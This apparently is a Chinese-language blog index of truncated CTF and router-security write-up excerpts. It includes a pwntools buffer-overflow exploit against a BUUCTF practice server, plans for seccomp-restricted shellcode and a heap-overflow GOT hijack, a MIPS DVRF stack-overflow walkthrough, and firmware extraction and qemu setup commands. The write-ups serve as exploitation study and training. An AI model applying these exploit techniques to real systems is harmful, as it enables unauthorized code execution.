BUUCTF-刷题记录
Stackpwn1
checksec什么保护都没开,到程序里发现有个fun函数可以调用shell,那我们直接覆盖rip指向这里就可以了
EXP
123456789from pwn import *#sh = process("./pwn1")sh = remote("node3.buuoj.cn",29918)payload = "a"*23payload +=p64(0x0000000000401198)+p64(0x0000000000401186)#sh.recvuntil("put\n")sleep(2)sh.sendline(payload)sh.interactive()
这里有点不太明白,为什么直接将rip指向0x401186就不可以
warmup_csaw_2016
和上一个类似程序中有个sub_40060d的函数可以直接查看flag,控制eip指向这个函数即可
EXP
12345678from pwn import *sh = process("./warmup_ ...
Pwn-手写汇编之pwnable_orw
程序分析
checksec看到程序没有开启nx保护,即我们可以在栈中执行shellcode
第一眼看伪代码以为直接输入shellcode就可以反弹shell了,不曾想竟还有一个orw_seccomp搅屎棍从中阻拦
进到该函数看,重点在prctl函数的使用,根据我百度引经据典一番操作后了解到这两句的主要作用是
禁止程序提升权限,并且禁止除open、write、read函数外的系统调用使用
利用思路既然无法直接调用system那我们就可以结合已有的条件来曲线救国,如:
使用open打开flag -> 再通过read函数将flag的内容读取到某地址中 -> 最后使用write函数打印出该地址的内容
然鹅,难点就在于我们要手写这段过程的汇编代码来读入程序中,具体系统调用方式可参考如下
函数名
EAX
E****BX
ECX
EDX
Sys_read
0x03
Unsigned int
Void *buf
Size
Sys_write
0x04
Unsigned int
Void *buf
Size
Sys_open
0x05
Const char * ...
Heap-babyfengshui_33c3_2016
程序分析
checksec后可以看到relro保护没开,可以劫持函数got表
ida分析程序逻辑,标准的增删改查功能
而漏洞点就出现在add与edit函数中
在add函数中,是用于创建一个包含着name与text的user结构体,在创建时name由用户控制,而text却是统一的0x80大小。
而重点则是在edit函数中,首先是让用户可以随意输入text的大小,但是该大小却受if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )的影响也就是超出存储在之前结构体中text的大小时则会退出。
利用思路但由于是*(&ptr+a1)-4 是靠偏移来确定大小的,所以也就只有在name堆块与text堆块在物理地址相邻时才有作用,因此我们可以通过delete函数删除一个user便可以使程序连续free掉两个堆块,从而使两个0x88的堆块合并成为一个0x110的堆块
进而我们再次使用add添加数据的时候,第一次输入的name设置大小为0x100就可以使 name与text堆块物理不相邻,这样一来我们的text字段便可输入任意大小 ...
MIPS-DVRF_stack_bof_1
程序分析首先将qemu-mipsel-static复制到squashfs的根目录,让我们可以正常运行程序
通过IDA的简单分析大致可以得出程序需要添加参数运行,如上图所示
而漏洞点就出现在程序调用strcpy函数复制用户传入的参数时,造成了栈溢出的情况
利用过程而具体的溢出点,从静态的反汇编代码中看并不是很直观,所以我们可以用cyclic配合gdb 动态调试来确认。
使用下面命令来运行程序到1234端口,并加上python的cyclic函数来生成300个有序的字符
接下来使用gdb-multiarch来连接程序
并在gdb开始时输入
set architecture mips
设置程序的架构为mips
set endian little
设置字节序为小端序
target remote :1234
连接远程的主机端口
输入c运行程序可以看到程序直接断到了0x63616162处也就是我们填充的字符串“baac”
最后使用cyclic命令可自动计算出溢出位为204,便可以控制程序的pc寄存器
可以控制pc寄存器,便意味至我们可以让其直接运行到程序中的dat ...
MIPS-DIR645手动提取固件
检索文件系统的magic签名cramfs文件头特征为 0x28cd3d45
123❯ strings DIR645A1_FW102B08.bin|grep `python -c 'print "\x28\xcd\x3d\x45"'`#大小端依次检索❯ strings DIR645A1_FW102B08.bin|grep `python -c 'print "\x45\x3d\xcd\x28"'`
检索squashfs文件系统标志的squashfs文件头大致有七种,分别为:
1sqsh、hsqs、 qshs、 shsq、 hsqt、 tqsh、 sqlz
1❯ strings DIR645A1_FW102B08.bin|grep sqsh
进一步确定是否为squashfs文件使用hexdump判断其文件头所在的地址
1❯ hexdump -C DIR645A1_FW102B08.bin|grep -n sqsh
使用dd命令提取该地址为始向后的100字节,最后用file工具对提取 ...
MIPS-vuln_system栈溢出
程序分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748#include <stdio.h>#include <sys/stat.h>#include <unistd.h>void do_system(int code,char *cmd){ char buf[255]; //sleep(1); system(cmd);}void main(){ char buf[256]={0}; char ch; int count = 0; unsigned int fileLen = 0; struct stat fileData; FILE *fp; if(0 == stat("passwd",&fileData)) ...
MIPS-DIR605L固件修复思路
在常见的mips路由器固件中,/bin/boa是个常用的web程序
而这里我们拿到固件后首先要尝试的就是将该固件的web服务启动起来
但是却遇到了如下错误
此时可以在IDA中搜索Initialize AP MIB failed!字符串,来分析程序崩溃的原因
可以看到问题就出现在这里,当apmib_init函数执行完成后寄存器$v0的值仍然为0,而bnez指令的作用便是根据$v0是否为0来跳转,因此由于apmid_init函数的错误而导致程序没有实现正常的跳转到loc_418250处,才出现错误。
针对上面情况,已知的有两种解决方案:
一是找出apmib_init函数的libc库,然后伪造该libc库,进而进行劫持apmib_init函数到我们自己伪造的过程中。
但是在伪造后让程序加载libc时却出现了出下错误,并且暂时未找到出现问题的原因
二便是直接修改bnez指令,将其改为beqz,也就是判断$v0值为0时则进行跳转。
但是利用ida patch修改字节的时候却也出现错误
对于这个问题,我们直接使用010editor来修改即可
再次运行后发现还有新的错误出来
通过 ...
MIPS-漏洞研究常用工具及调试方法
Binwalk正常apt安装的binwalk一般都是不完整的,需要我们先卸载后在github中下载安装,之后才可以正常提取路由器的固件,否则将出现下图错误
安装binwalk1234git clone https://github.com/devttys0/binwalk.git sudo apt-get install python-lzma sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip sudo python setup.py install
安装sasquath123sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools git clone https://github.com/devttys0/sasquat ...
MIPS-Pwn环境qemu虚拟机部署
安装Qemu123456sudo apt-get install qemu sudo apt-get install qemu-user-staticsudo apt-get install qemu-systemsudo apt-get install uml-utilitiessudo apt-get install bridge-utilssudo apt-get install qemu-user-static qemu-system-mips
配置Qemu网络
配置Qemu system模式与主机的网络连接
12sudo brctl addbr virbr0sudo ifconfig virbr0 192.168.122.1/24 up
创建tap接口,名字为tap0,并添加到网桥:
123sudo tunctl -t tap0sudo ifconfig tap0 192.168.122.11/24 upsudo brctl addif virbr0 tap0
下载并启动qemu镜像,配置qemu虚拟机中的网络。在这里下载qemu的mips镜像
https:// ...